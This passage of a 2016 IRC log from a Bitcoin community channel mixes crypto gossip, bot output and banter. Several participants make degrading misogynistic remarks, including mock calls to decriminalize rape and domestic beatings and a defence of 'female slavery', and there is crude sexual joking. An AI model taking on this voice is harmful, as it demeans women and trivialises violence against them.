tack it on to actual substantial issues. 1471451;1464114852;asciilifeform;mircea_popescu: kako's pov was ' mircea_popescu killed the value by sending 0fee ' 1471452;1464114875;asciilifeform;mircea_popescu's appears to be ' kako killed bbet by not kowtowing ' 1471453;1464114891;asciilifeform;is there method to pick b/w these 2 other than 'which fella i like moar' 1471454;1464114900;mircea_popescu;bullshit. next time someone "saves" you from having to pay a 20 btc heating bill by burning down your house, call it kakologic. 1471455;1464114919;mircea_popescu;there's a very fucking obvious method. money. 1471456;1464115006;asciilifeform;house is gone, point 1471457;1464115010;mircea_popescu;anyway. there's a lot of wisdom fruits in all this for the general reader. 1471458;1464115029;mircea_popescu;somehow the very distant ballas criticism of the "single issue independent" doesn't strike home, unless we sit on the ruined remnants of the house. 1471459;1464115067;mircea_popescu;every dork thinks himself the main character in his own game, and somehow to be saved by divine providence just as long as he sticks to "his principles". 1471460;1464115068;mircea_popescu;well... 1471461;1464115074;mircea_popescu;reality ain't dork paradise. 1471462;1464115210;mircea_popescu;(and for the record : superman irl would last for about a week, before all the bills for torn down walls and destroyed cars would put him away permanently. seems important to have this in the fucking record omfg.) 1471463;1464115242;asciilifeform;mircea_popescu: who exactly puts superman anywhere he dun want to be ? 1471464;1464115248;mircea_popescu;right. 1471465;1464115259;*;asciilifeform mostly ignorant of the story, but isn't that sorta what his life is about ? 1471466;1464115274;mircea_popescu;no, pointedly not. because it's surogate fiction for castrated 1950s boys. 1471467;1464115294;mircea_popescu;so the story is not at all about this ; it's all about how it could be this, and then becauser it could be, it's ok that it isn't, and so he's "law abiding" 1471468;1464115299;mircea_popescu;well, civil judgement's good law, pay up. 1471469;1464116402;solrodar;mircea_popescu: glad to hear that you confiscated kako's mpex account on behalf of the shareholders and not just yourself 1471470;1464116416;solrodar;I look forward to hearing how you will distribute the proceeds to them 1471471;1464116416;mircea_popescu;your reading's a thing of wonder. 1471472;1464116541;solrodar;is that not what you just said? 1471473;1464117129;BingoBoingo;* asciilifeform rockets off on small tour of BingoBoingolandia tonight << Nah, Chicagoland is basically anti-Bingolandia 1471474;1464119567;deedbot;[Qntra] Bruce Fenton (WOT:nonperson) Tries Raising Dead - http://qntra.net/2016/05/bruce-fenton-wotnonperson-tries-raising-dead/ 1471475;1464120010;mircea_popescu;heh. 1471476;1464120977;deedbot;[Trilema] The Woman in the Window - http://trilema.com/2016/the-woman-in-the-window/ 1471477;1464122474;mircea_popescu;aaand in other news, http://66.media.tumblr.com/100e79b85b14b0f4ae481d9adffc46e8/tumblr_mxqk0yw9Pi1stt4xmo1_1280.jpg 1471478;1464122960;asciilifeform;'The purpose of this email was to solicit input / advice from core [client fork] Devs and to let them know that the Bitcoin Foundation feels we represent all of Bitcoin including all of Core [client fork] and that we would welcome help and input.' << trololol! 1471479;1464123310;*;BingoBoingo inserted the "[client fork]" clarifications 1471480;1464123376;asciilifeform;i can see 1471481;1464124055;shinohai;thx BingoBoingo 1471482;1464124788;deedbot;[Qntra] Ken Starr (WOT:nonperson) Changes Tune On Clintons AND Sex Scandal Cover Ups - http://qntra.net/2016/05/ken-starr-wotnonperson-changes-tune-on-clintons-and-sex-scandal-cover-ups/ 1471483;1464124971;trinque;BingoBoingo: s/American's/America's/ 1471484;1464124998;BingoBoingo;fxd,ty 1471485;1464125394;BingoBoingo;In other lulz: "Facebook has apologized for banning a photo of a plus-sized model and telling the feminist group that posted the image that it depicts "body parts in an undesirable manner". Cherchez la Femme, an Australian group that hosts popular culture talkshows with "an unapologetically feminist angle", said Facebook rejected an advert featuring Tess Holliday, a plus-sized model wearing a bikini, telling the group it violated the com 1471486;1464125394;BingoBoingo;pany's "ad guidelines". After the group appealed against the rejection, Facebook's ad team initially defended the decision, writing that the photo failed to comply with the social networking site's "health and fitness policy". "Ads may not depict a state of health or body weight as being perfect or extremely undesirable," Facebook wrote. "Ads like these are not allowed since they make viewers feel bad about themselves. Instead, we recomm 1471487;1464125395;BingoBoingo;end using an image of a relevant activity, such as running or riding a bike." In a statement on Monday, Facebook apologized for its original stance and said it had determined that the photo does comply with its guidelines." 1471488;1464125404;BingoBoingo;ftr 1471489;1464125768;shinohai;^ saw that this morning, lulzy 1471490;1464126009;shinohai;"Google's Paris HQ raided in tax probe" 1471491;1464126164;BingoBoingo;writing it up 1471492;1464126499;deedbot;[Qntra] Nth French Republic Raids Local Google Outpost - http://qntra.net/2016/05/nth-french-republic-raids-local-google-outpost/ 1471493;1464126688;mircea_popescu;so basically, if feminists tell it to get fucked, facebook does change its mind. 1471494;1464126692;mircea_popescu;tsk tsk. 1471495;1464126731;mircea_popescu;from now on, this is the bar. facebook is held to do the exact same if i say so. because why the fuck not. 1471496;1464126774;mircea_popescu;and incidentally, any derp who is preoccupied with "changing society" because "women statistically don't make as much money as men" while not being preoccupied with "changing the definition of crime" because "the current definitions put more men in prison than women" is an utter hypocrite. 1471497;1464126813;mircea_popescu;criminalize being fat, decriminalize rape. then criminalize talking back, decriminalize domestic beatings. and keep going until female prison population === male prison population 1471498;1464126851;mircea_popescu;and we'll be bitching about how nominal equality, ie, 3 mn each, hides the fact that there's 2% more women so there should really be more, exactly in the manner they derp today about how women don't work as long, so they make less. 1471499;1464126854;mircea_popescu;equality wtf. 1471500;1464126902;asciilifeform;http://btcbase.org/log/2016-05-24#1471496 << the 'mra' derps, who tried to copy feminism, even created a name - 'glass cellar' - for 'why must garbage men and thieves be male!111' 1471501;1464126902;a111;Logged on 2016-05-24 21:52 mircea_popescu: and incidentally, any derp who is preoccupied with "changing society" because "women statistically don't make as much money as men" while not being preoccupied with "changing the definition of crime" because "the current definitions put more men in prison than women" is an utter hypocrite. 1471502;1464127179;BingoBoingo;;;ticker --market all 1471503;1464127182;BingoBoingo;;;bc,stats 1471504;1464127185;gribble;Bitstamp BTCUSD last: 445.16, vol: 3109.91508125 | BTC-E BTCUSD last: 446.779, vol: 4963.7593 | Bitfinex BTCUSD last: 445.87, vol: 8566.592525829999 | BTCChina BTCUSD last: 452.033246, vol: 24843.18730000 | Kraken BTCUSD last: 444.675, vol: 1396.31921768 | Bitcoin-Central BTCUSD last: 447.8682, vol: 37.97473541 | Volume-weighted last average: 449.454204169 1471505;1464127186;gribble;Current Blocks: 413286 | Current Difficulty: 1.99312067531243E11 | Next Difficulty At Block: 415295 | Next Difficulty In: 2009 blocks | Next Difficulty In About: 1 week, 6 days, 1 hour, 5 minutes, and 27 seconds | Next Difficulty Estimate: None | Estimated Percent Change: None 1471506;1464127858;asciilifeform;;;later tell mircea_popescu y'know how 'with aeons even death may die' ? sometimes opposite, shit that just won't die: http://dannybrewster.com/blog 1471507;1464127858;gribble;The operation succeeded. 1471508;1464127878;asciilifeform;^ mega-'heroes' from 2014 ride even today. 1471509;1464130551;deedbot;[Qntra] Bitcoin Difficulty Approaches 200 Trillion After 2.6 Percent Rise - http://qntra.net/2016/05/bitcoin-difficulty-approaches-200-trillion-after-2-6-percent-rise/ 1471510;1464132373;mircea_popescu;lmao 1471511;1464132460;mircea_popescu;asciilifeform rather well researched too, the half life of average "bitcoin community"-tard is just about 15 months. 1471512;1464132797;mircea_popescu;aaand in other news, http://66.media.tumblr.com/853ab86e4118f5bc7b04535d6d230fce/tumblr_mz9oz7YRYE1s4jw4io1_1280.jpg 1471513;1464133296;BingoBoingo;Fat ethics http://www.dailymail.co.uk/news/article-3603812/Woman-kills-husband-s-puppy-chihuahua-stage-miscarriage-pretending-pregnant-7-months.html 1471514;1464134039;asciilifeform;http://btcbase.org/log/2016-05-24#1471513 << reminds me of far more interesting case in 17th c where some chick had dead rabbits stuffed in uterus and 'birthed' them 1471515;1464134039;a111;Logged on 2016-05-24 23:41 BingoBoingo: Fat ethics http://www.dailymail.co.uk/news/article-3603812/Woman-kills-husband-s-puppy-chihuahua-stage-miscarriage-pretending-pregnant-7-months.html 1471516;1464134050;asciilifeform;see if you can find 1471517;1464134066;asciilifeform;i bet mircea_popescu knows the incident... 1471518;1464134086;BingoBoingo;But that's old news and rabbits are adorable. Chihuaua is basically rat. 1471519;1464134105;mircea_popescu;nope. 1471520;1464134268;BingoBoingo;tldr; Bitch shoved a bunch of bunnies in her cunny 1471521;1464134568;trinque;fucking weirdo primates 1471522;1464134596;trinque;https://www.youtube.com/watch?v=qVE60zwXx1k 1471523;1464134602;mircea_popescu;i suppose it's a pretty decent way to drive people up the wall, as an angry teenager. 1471524;1464134620;mircea_popescu;fill your cunt with newborn rats, take panties off in class 1471525;1464135633;ben_vulpes;> 7,000 dollar bond 1471526;1464150788;BingoBoingo;totes adorbs https://i.sli.mg/AtwtvJ.jpg 1471527;1464175697;shinohai;;;later tell BingoBoingo http://ix.io/L38 1471528;1464175697;gribble;The operation succeeded. 1471529;1464176633;mircea_popescu;i went in expecting a fat woman in a pool 1471530;1464176641;mircea_popescu;instead, it's a fat turtle in a pool. well done BingoBoingo 1471531;1464178108;deedbot;[Qntra] Sidechain Lisk Launches With Lulz - http://qntra.net/2016/05/sidechain-lisk-launches-with-lulz/ 1471532;1464178976;mircea_popescu;$rate alikim -1 militant idiot, of the kakobrekla school of gimme. see http://logs.minigame.bz/2016-05-25.log.html#t11:47:39 1471533;1464178982;deedbot;Get your OTP: http://wotpaste.cascadianhacker.com/r/f4a8f21e-c142-4610-abf6-c38cfceb996f/ 1471534;1464179030;mircea_popescu;$v 8044D9A72C31F3E7DE2108E2EB0BFC77B46570F6DF0B166D6C793BE0053CA1B2 1471535;1464179031;deedbot;mircea_popescu updated rating of alikim from 2 to -1 << militant idiot, of the kakobrekla school of gimme. see http://logs.minigame.bz/2016-05-25.log.html#t11:47:39 1471536;1464180361;*;asciilifeform meanwhile wanders in heathen lands 1471537;1464180810;asciilifeform;http://btcbase.org/log/2016-05-25#1471532 << pretty lulzy 1471538;1464180810;a111;Logged on 2016-05-25 12:22 mircea_popescu: $rate alikim -1 militant idiot, of the kakobrekla school of gimme. see http://logs.minigame.bz/2016-05-25.log.html#t11:47:39 1471539;1464180846;asciilifeform;and entertaining, while i wait for trainz in this here zimbabwestan 1471540;1464180870;mircea_popescu;where are you anyway 1471541;1464180919;asciilifeform;chicago 1471542;1464180922;mircea_popescu;asciilifeform dude's something else, linux client is so stable people run it from wed to wed (server updates and brief downtime weds) ; jurov made a windows version that's just as stable - everyone else who runs it has no conn problems. 1471543;1464180946;mircea_popescu;then this hack went in and grubstreet'd all over, to the point he crashes all the time, so he made himself a watchdog. which i suppose needs a watchdog of its own 1471544;1464180969;mircea_popescu;and will resist any attempt to be helped - such as for instance by people who actually understand computing reading his abomination and laughing at him - to the degree he'll get kicked out. 1471545;1464180986;mircea_popescu;asciilifeform> chicago << oh, they finally wised up an' sent you to the meat packing plant ? 1471546;1464180990;asciilifeform;what i still can't figure out is: 1471547;1464180994;asciilifeform;why! 1471548;1464181013;asciilifeform;mircea_popescu: aha, they even use the squeal !111 1471549;1464181015;*;shinohai had dream last night of asciilifeform 's head in a jar futurama style. 1471550;1464181026;mircea_popescu;to quote romania's nat'l poet, "nu cerceta aceste legi, caci esti nebun de le-ntelegi" 1471551;1464181036;mircea_popescu;ie, do not research these laws, for understanding them means you're insane. 1471552;1464181046;asciilifeform;shinohai: did it eat fish food like nixon's head? 1471553;1464181109;shinohai;lel 1471554;1464181294;asciilifeform;mircea_popescu: it isn't clear from the link how the 'bite' ended. i assume you kicked the moron? 1471555;1464181311;mircea_popescu;no, i ... banned him. 1471556;1464181350;asciilifeform;~= 1471557;1464181363;mircea_popescu;guess so huh. 1471558;1464181448;BingoBoingo;asciilifeform: Remember that the Chicago River is an open sewer so feel free to bathroom there 1471559;1464181474;asciilifeform;whole place looks like sewer 1471560;1464181483;asciilifeform;and crumbling.. 1471561;1464181518;BingoBoingo;Well yes. Chicago is a shithole. 1471562;1464181523;asciilifeform;i thought dc was rock bottom usa - it isn't. 1471563;1464181538;BingoBoingo;Have you been to the city center yet? 1471564;1464181560;asciilifeform;about to 1471565;1464181560;mircea_popescu;actually from what i hear new orleans overtook detroit even in terms of sheer shithole. 1471566;1464181570;BingoBoingo;Center is roughly where river meets lake 1471567;1464181582;mircea_popescu;new shit meets old fermented shit ? 1471568;1464181611;mircea_popescu;anyway, you two gonna hang out for a beer or something ? 1471569;1464181617;BingoBoingo;Aha, except they actually reversed the flow of the river at some point so new shit goes to Mississippi river after crossing state. 1471570;1464181622;asciilifeform;mircea_popescu: fortunately nobody i'm ever likely to visit is in new orleans 1471571;1464181634;BingoBoingo;mircea_popescu: I'm still a few hundred miles away. 1471572;1464181667;mircea_popescu;ah 1471573;1464181722;BingoBoingo;Near st louis. 1471574;1464181770;BingoBoingo;Far more honest city about it's state of decay which is still far less than Chicago's evn if the fauna here are a bit more... 1471575;1464181814;asciilifeform;anyway i traded commute hell for very occasional expeditions to heathen pestholes. 1471576;1464181826;mircea_popescu;it's good for you. 1471577;1464181829;mircea_popescu;now find a local girlfriend. 1471578;1464181868;asciilifeform;lel she'd have to be a cracked cement plinth, likely. 1471579;1464181891;mircea_popescu;why, you've replaced your pecker with a steam jack ? 1471580;1464181923;asciilifeform;will have to! 1471581;1464181942;asciilifeform;to take proper use of this place. 1471582;1464181957;mircea_popescu;anyway, i'm not even kidding. best thing for you. 1471583;1464181980;asciilifeform;which? to learn to fuck plinth? 1471584;1464182136;mircea_popescu;no, to get a local girlie. 1471585;1464182146;asciilifeform;ah 1471586;1464182174;asciilifeform;i have nfi how this is done 1471587;1464182180;mircea_popescu;put yourself in tinder or whatever they use, "wise cosmopolitan gentleman (visited buenos aires! and timisoara!) with lots of dough to burn looking for local belle to show me a good time." 1471588;1464182187;asciilifeform;esp since i dun zoophilia 1471589;1464182208;mircea_popescu;you ever had a massage ? 1471590;1464182213;mircea_popescu;relax and let the girl do her work! 1471591;1464182221;asciilifeform;chix with faces are ~100 ppm in usa. 1471592;1464182240;mircea_popescu;or what, suppose you go to teh movies, what do you do, instead of sitting down and shutting up like everyone else you bust into the projectionist's room and jockey the machine ? 1471593;1464182323;asciilifeform;lel 1471594;1464182347;mircea_popescu;add "must be conversant wihile wearing paper bag on head" to your ad if you must 1471595;1464182415;mircea_popescu;(no, it won't deter. nothing will deter. to quote shaw, 1471596;1464182432;mircea_popescu;" Men, on the other hand, attach penalties to marriage, depriving women of property, of the franchise, of the free use of their limbs, of that ancient symbol of immortality, the right to make oneself at home in the house of God by taking off the hat, of everything that he can force Woman to dispense with without compelling himself to dispense with her. All in vain. Woman must marry because the race must perish without her tra 1471597;1464182433;mircea_popescu;vail: if the risk of death and the certainty of pain, danger, and unutterable discomforts cannot deter her, slavery and swaddled ankles will not.") 1471598;1464182469;asciilifeform;atm i'm working on sloth (no sleep in 24hr) and then gluttony 1471599;1464182492;mircea_popescu;attend to your immortal soul before you attend to the base needs of the flesh! 1471600;1464182500;asciilifeform;also i'm finally in a train... 1471601;1464182517;mircea_popescu;local girlfriend first. any adolescent knows. and adolescence is aristocratic by not knowing better. 1471602;1464182588;asciilifeform;mircea_popescu is talented man. i have 2 dayz. local gurl historically takes me decade... 1471603;1464182619;asciilifeform;it is like neutrino experiment. 1471604;1464182632;mircea_popescu;don't make me put the sheeny curse on you so you end up having to go back and back again for a decade! 1471605;1464182657;asciilifeform;that'd be spiffy tho ! 1471606;1464182679;Framedragger;[fwiw yeah +1 for tinder, though it does use effin facebook last i checked, etc etc, one more thing to re-build in a non-shitty fashion....] 1471607;1464182688;asciilifeform;can i also factor phatnunz while i loop??! 1471608;1464182692;asciilifeform;numz 1471609;1464182699;asciilifeform;fuck this machine 1471610;1464182705;mircea_popescu;perv. 1471611;1464182716;mircea_popescu;gayety is one thing, alf. but machinism ?! 1471612;1464182721;mircea_popescu;where did we go wrong! 1471613;1464182754;mircea_popescu;Framedragger iirc no girls actually wanted to be on tinder because dudes'd just hit on everyone and then not show up. 1471614;1464182760;mircea_popescu;wotproblem of sorts. 1471615;1464182788;Framedragger;ya, true. some dudes are selective but most are just desperate and/or can't be bothered. different algos so to speak, heh 1471616;1464182804;mircea_popescu;historically, the "whatever" algo is actually pretty successful. 1471617;1464182806;asciilifeform;i thought it was because gurl already knows where the local mircea_popescu lives 1471618;1464182809;Framedragger;(girls are on there tho) 1471619;1464182813;mircea_popescu;certainly how everyone here present came to be. 1471620;1464182816;asciilifeform;and needs no appz 1471621;1464182828;mircea_popescu;asciilifeform women like variety just like normal people do. 1471622;1464182836;Framedragger;yeah seems to have worked for these low entropy pockets around stars, pretty nifty!! 1471623;1464182863;asciilifeform;i like variety, but dun eat from garbage, say 1471624;1464182890;asciilifeform;variety tends to mean something quite specific for most folx 1471625;1464182898;mircea_popescu;varietits. 1471626;1464182931;mircea_popescu;anyway, garbage has a tense relationship with sexuality. 1471627;1464182960;mircea_popescu;possibly because of the officially-intolerable http://btcbase.org/log/2016-05-24#1471110 1471628;1464182960;a111;Logged on 2016-05-24 11:33 mircea_popescu: in fact the historical justification for broad female slavery is that the sex is better that way. 1471629;1464183047;Framedragger;" garbage has a tense relationship with sexuality." << related film: http://www.imdb.com/title/tt1488163/ 1471630;1464183064;mircea_popescu;the whole impetuus of, say, romeo and juliet is the respective famblies going "op is garbage!!1". the lady an' the tramp is pretty much the "modern democracy" attempt at subverting and perhaps reclaiming the trite truth of the previous generations, ie, that nothing gets a gent going quite like the lady's maid. 1471631;1464183106;mircea_popescu;Framedragger meh, lost me at "elderly". but the korine name is vaguely familiar. 1471632;1464183200;Framedragger;yeah korine is an interesting guy. the film itself is random as fuck. literally folks humping trash, and just doing other bizarre things throughout film. i'd say it's an intereseting experience, to watch it i mean, but i believe when i watched it i was on a bit of acid. dunno how it would have got with me being completely sane.. 1471633;1464183201;asciilifeform;meanwhile loudspeaker: '... and gambling, are prohibited on cta vehicles...' 1471634;1464183264;mircea_popescu;asciilifeform ahh, isn't it refreshing, to be in a place where they hafta say that ? 1471635;1464183285;asciilifeform;aha. 1471636;1464183307;asciilifeform;i gotta find the shell game or whatsit. 1471637;1464183314;mircea_popescu;faro ? 1471638;1464183338;asciilifeform;im on train not timemachine 1471639;1464183427;*;asciilifeform bbl 1471640;1464184231;mircea_popescu;if he's going to bbl... technically he is on time machine. 1471641;1464184437;mircea_popescu;lmao this is pretty rich news. so asciilifeform : it'd seem the raid on phuctor's machine is failing and the thing will have to be serviced. plox turn it off in your own time and let me know when it's ok to send teh service team in. 1471642;1464184741;asciilifeform;mircea_popescu: it had better stay afloat till saturday morning if at all possib 1471643;1464184748;mircea_popescu;o.O 1471644;1464184759;Framedragger;mircea_popescu: have you considered serving all phuctor public stuff on a static frontend proxy of sorts? 1471645;1464184765;mircea_popescu;three days. you know what raids are, right ? if it smokes we're fucked. 1471646;1464184790;Framedragger;inb4 go read teh logz lol 1471647;1464184790;mircea_popescu;Framedragger my involvement is more remote, alf handles the tech there. 1471648;1464184810;asciilifeform;mircea_popescu: i can switch off cleanly tonight, in principle 1471649;1464184816;Framedragger;asciilifeform: ^ sorry im making you repeat yourself 1471650;1464184819;mircea_popescu;that'd be good then. 1471651;1464184822;Framedragger;*if 1471652;1464184824;asciilifeform;worx 1471653;1464184834;mircea_popescu;drop me a line once it's off. 1471654;1464184844;asciilifeform;will do 1471655;1464184852;*;asciilifeform bbl moar 1471656;1464185213;Framedragger;asciilifeform: ah i recall you mentioning need for real-time data spitting-out. again this can be worked out but i don't want to be presumptuous, as in, "omg this is easily sortable just use pr0xi". just sayin, worth considertaion, perhpas 1471657;1464185749;Framedragger;(..in other news hosters seem to cave in to the "we gun ban your ip cause we saw three TCP SYN packets to :22 on our block" threats and do not allow any scanning whatsoever. online.net may be the exception and are cooperative, will see how they tolerate some scanz) 1471658;1464185780;Framedragger;(again, general ipv4 mapping is no prob, it's the more particular ssh key extraction that is slow and very hax0ry apparently) 1471659;1464185924;Framedragger;(but i didn't spend much time dealing with this lately, busy with afk stuff. however will return to quest soon) 1471660;1464186002;mircea_popescu;Framedragger be specific. 1471661;1464186109;Framedragger;"Dear Sir / Madam, 1471662;1464186110;Framedragger;Scanning ports is forbidden on our network. We cannot even do some exeption in our anti-hack detecting system just for your server." <- this is e.g. kimsufi/OVH who are otherwise not complete govt bitches (they appeal court orders, ran wikileaks servers, lots tor exit nodes etc - not to say that this amount to too much) 1471663;1464186138;Framedragger;more or less same from hetzner, digital ocean, and a local lithuanian provider which i've been using for a few years 1471664;1464186150;mircea_popescu;so they banned you or what exactly happened ? you read their verbiage ? 1471665;1464186179;Framedragger;ah - sorry for not being specific - no i ceased activities,and they were fine. OVH i didn't even try, i sent a query first like a good house guest 1471666;1464186207;mircea_popescu;i still can't piece this together. let's try a sane example format : 1471667;1464186210;Framedragger;digital ocean e.g. - scanned more than querter of ipv4 space using TCP SYN (masscan) - so just to see which :22 hosts are up - received numerous abuse complaints from all over the net, all forwarded to me 1471668;1464186220;Framedragger;pleaded with them and they said okok we won't ban but don't do this again 1471669;1464186253;mircea_popescu;i rented a [vps/dedicated/colocated] machine from X, i sent a total of Y packets of so and so in Z interval ; they " 1471670;1464186256;mircea_popescu;that sorta thng 1471671;1464186302;Framedragger;now i'll try scaleway / online.net and i don't use them for anything else so i'm fine with being banned. they said OK to my "responsible academic scanning" query. doesn't mean they'll follow through. but i'll just keep scanning / doing ssh extraction there, and rsyncing often, so that if/when i get eventually banned this wouldn't be a problem. 1471672;1464186315;mircea_popescu;mk 1471673;1464186329;Framedragger;right, i'll do that, but later. sorry for not being specific, just wanted to rant, which is not too constructive 1471674;1464186336;mircea_popescu;np 1471675;1464186646;asciilifeform;http://btcbase.org/log/2016-05-25#1471641 << stinks of 'inspection' a la dulap-1 imho 1471676;1464186646;a111;Logged on 2016-05-25 13:53 mircea_popescu: lmao this is pretty rich news. so asciilifeform : it'd seem the raid on phuctor's machine is failing and the thing will have to be serviced. plox turn it off in your own time and let me know when it's ok to send teh service team in. 1471677;1464186657;mircea_popescu;possibru. 1471678;1464187038;mircea_popescu;in other news, france saw over 500k arrests in 2007, which is to say 1% of the population was arrested THAT YEAR, or, if things continue at the same rate, ~everyone then alive'd have a better chance to be arrested rather than not be, during his lifetime. 1471679;1464187057;mircea_popescu;except things didn't continue at the same rate, and 2014 was an all time record. 1471680;1464187122;mircea_popescu;most of which, amusingly enough, are "delit d'association de malfaiteurs en relation avec une entreprise terroriste". hurr durr. 1471681;1464188675;shinohai;https://multibit.org/blog/2016/05/25/multibit-is-being-sold-to-keepkey.html <<< a hardware company buying multibit code 1471682;1464188735;mircea_popescu;how much ? 1471683;1464188740;asciilifeform;shinohai: hardware wallets remain hilarious jokes 1471684;1464188773;asciilifeform;if from nothing else but that they WITHOUT EXCEPTION require shitware on pc side 1471685;1464188810;mircea_popescu;asciilifeform i'm just surprised it wasn't an acquihire. no fducking idea why anyone else'd "buy" the sort of turd. 1471686;1464188821;shinohai;Well I never liked multibit either, so 1471687;1464188935;shinohai;Hard and soft turds combine to produce new, more repulsive pos 1471688;1464189163;shinohai;https://pbs.twimg.com/media/CjT6ui8XEAAY_sR.jpg <<< bwahaha "I am Chiang Kat Shek" 1471689;1464190054;mircea_popescu;wow gloves 1471690;1464194076;shinohai;https://medium.com/the-coinbase-blog/ethereum-is-the-forefront-of-digital-currency-5300298f6c75#.gor6kp910 <<< moar coinbase slock, we failed at Bitcoin so surely Ethereum shall save us. 1471691;1464194449;trinque;Ethereum has a growth mindset while Bitcoin has a false sense of accomplishment << wahahahaha 1471692;1464194458;trinque;good riddance 1471693;1464194516;trinque;and oh the ways the socialists and advertisers have destroyed English 1471694;1464194518;shinohai;well I suppose weed growth is still, technically, growth. 1471695;1464194540;trinque;apparently an inanimate thing can have a mindset because somebody put some words together 1471696;1464196620;mircea_popescu;to bolster the leverage point asciilifeform : consider reading merely the list of traded items in "london labour and the london poor" (an otherwise unfrequentable pile of steaming socialistoid shit). 1471697;1464196645;mircea_popescu;cca mid 19th century - definitely post industrial age - people actually traded used underwear. not just young women's used underwear either. 1471698;1464196647;mircea_popescu;shirt fronts. 1471699;1464196667;mircea_popescu;labour was so ill esteemed it was actually worth someone's time to take out a shirt front off a shirt and hem in a replacement. 1471700;1464196689;mircea_popescu;fucking phones aren't worth the fix today. but then - shirts. 1471701;1464196778;mircea_popescu;shinohai well, the usg party is ever less confident they'll get much over a summer of forks ; "ethereum is good" was the backup. 1471702;1464196838;mircea_popescu;trinque "it's the community" "which, the supine troop of nobodies crowding the mit soup kitchen ?" "YES! PREMIERE TECHNICAL AND SCIENTIFIC INSTITUTION IN THE WORLD!" "whatever. make sure you teach them how lightbulbs work." 1471703;1464197215;trinque;that shit can die with the body of christ and all other congruent imaginary social aggregates 1471704;1464197252;mircea_popescu;in other news, http://67.media.tumblr.com/053372135405fda3b66a6744f2ca67fc/tumblr_o5nchymmMr1u06pkwo1_1280.jpg 1471705;1464200241;ben_vulpes;https://pbs.twimg.com/media/CjOZLJGXIAA7Xf-.jpg 1471706;1464200254;ben_vulpes;> a server as bad as your email 1471707;1464200256;ben_vulpes;> btc 1471708;1464200318;mircea_popescu;erect your serevr at box cock li ? 1471709;1464200392;ben_vulpes;worth a chuckle and an invitation to the wot methinks 1471710;1464200417;mod6;heh 1471711;1464200425;mircea_popescu;prolly so. besides, i'm thinking the correct way to handle the whole $bash thing is to have a sort of wot-aws equivalent. 1471712;1464200445;mircea_popescu;dja talk to them ? 1471713;1464200480;ben_vulpes;notyet 1471714;1464200498;mircea_popescu;oh in other lolz : xenforo, the "improved" successor of vbulletin web forum software uses the following member enum scheme : https://xenforo.com/community/members/nhatdang_daisu.52890/ 1471715;1464200502;mircea_popescu;spot the lulz. 1471716;1464200643;ben_vulpes;invited 1471717;1464201503;mircea_popescu;o lordy. so 1st xenforo "security" improvement : where the old vbulletin system passed back and forth md5 hashes of passwords (in plain and utf duplicate versions), the improvement just sends it plain. 1471718;1464201531;mircea_popescu;how to get all user credentials for any xenforo forum ? put a box in promiscuous mode en route and listen to the fucking posts. 1471719;1464201749;ben_vulpes;dang 1471720;1464202396;mircea_popescu;such a pile of shit. the ancient bbsessionhash as unique session identifier has been renamed to xf_session and that's the extent of the changes. 1471721;1464202418;mircea_popescu;and then they had a dispute and the court actually bought the notion one's not copied off the other. 1471722;1464202461;mircea_popescu;in vaguely related news, http://66.media.tumblr.com/727d91005cb24b337dae6aebdc81d7fb/tumblr_nzmragJjOa1sy8ywho1_400.gif 1471723;1464203679;phf;i seem to have a highly useful skill of missing out on b-a drama 1471724;1464203698;pete_dushenski;or you keep a lid on it 1471725;1464203719;pete_dushenski;http://btcbase.org/log/2016-05-24#1471164 << to quote an alf, i thought 'everyone knows' that there's a panda infestation up north 1471726;1464203719;a111;Logged on 2016-05-24 12:05 mircea_popescu: ;;later tell pete_dushenski wait, you had a PANDA baby ?! 1471727;1464203728;pete_dushenski;$s everyone knows 1471728;1464203750;pete_dushenski;eh give it two weeks 1471729;1464204027;pete_dushenski;http://voxeu.org/article/what-s-your-surname-intergenerational-mobility-over-six-centuries#.VzyX84VYNEc << 'Existing evidence suggests that the related earnings advantages disappear after several generations. This column challenges this view by comparing tax records for family dynasties (identified by surname) in Florence, Italy in 1427 and 2011. The top earners among the current taxpayers were found to h 1471730;1464204027;pete_dushenski;ave already been at the top of the socioeconomic ladder six centuries ago. This persistence is identified despite the huge political, demographic, and economic upheavals that occurred between the two dates.' 1471731;1464204166;pete_dushenski;hehe. so what you thought was evidence really wasn't and what you thought was upheaval really wasn't. beautiful, really. the whole charade can't even stand up to a simple registry check despite centuries of dedicated revisionism 1471732;1464204349;pete_dushenski;in other leaves, lazers are useful to reading compact discs AND measuring tree sleep https://www.tuwien.ac.at/en/news/news_detail/article/10113/ 1471733;1464204761;mircea_popescu;either that or women tend to marry into wealth and change their name 1471734;1464204803;pete_dushenski;http://btcbase.org/log/2016-05-25#1471561 << saiwuut ? no one said you should live there, but to visit zoo stylez ? it's brilliant. 1471735;1464204803;a111;Logged on 2016-05-25 13:05 BingoBoingo: Well yes. Chicago is a shithole. 1471736;1464204819;pete_dushenski;mircea_popescu: smart wimminz then 1471737;1464204862;mircea_popescu;except "eggs florentine" were named specifically in recognition of those women'z talent at not fathering sons with their husbands. 1471738;1464204883;mircea_popescu;really, the whole exercise is more of a "here\s just how fucking useless your civil registry is" than anything 1471739;1464204919;pete_dushenski;what's the eggs florentine story ? 1471740;1464204972;mircea_popescu;eh, just an off the cuff joke. 1471741;1464204989;mircea_popescu;the eggs are drenched in hollandaise ; if two guys fuck a gal it's hard to avoid getting cum on your ballsac. 1471742;1464205158;pete_dushenski;ah k. well i'd rather share a chick than eat anything with hollandaise on it. but maybe i'm not from the right part of the mediterranean. 1471743;1464206675;mircea_popescu;$up vc 1471744;1464206675;deedbot;vc voiced for 30 minutes. 1471745;1464206681;vc;hi i am here for the party 1471746;1464206690;mircea_popescu;lol welcome cocks. 1471747;1464206699;mircea_popescu;do you have a pgp key ? 1471748;1464206774;vc;yeah 1471749;1464206777;vc;https://keybase.io/hacker 1471750;1464206811;pete_dushenski;vc.gg/blog — stupid faggot blog don't click << lol! 1471751;1464206849;mircea_popescu;heh. so do $register so you're part of teh wot. 1471752;1464206880;Framedragger;+1.662 625 6266 (+1 66-COCKMAN-6) << nice 1471753;1464206883;vc;it's been broken since the raids and I only just recently restored from archive.org so the theme isn't working yet 1471754;1464206906;vc;$register 5CB4 9CDC EAC7 97FB F8BD C074 FD71 AD27 71A5 CC1B 1471755;1464206909;deedbot;Import failed for 5CB4. 1471756;1464206912;vc;deedbot: fight me 1471757;1464206925;mircea_popescu;http://phuctor.nosuchlabs.com/gpgkey/F43C7D970054DE65AC067DBDA51F0123BFD9E4A9BD54F99FB64AAFD5F8515B92 for cannonical representation 1471758;1464206938;mircea_popescu;vc no spaces. 1471759;1464206944;vc;$register 5CB49CDCEAC797FBF8BDC074FD71AD2771A5CC1B 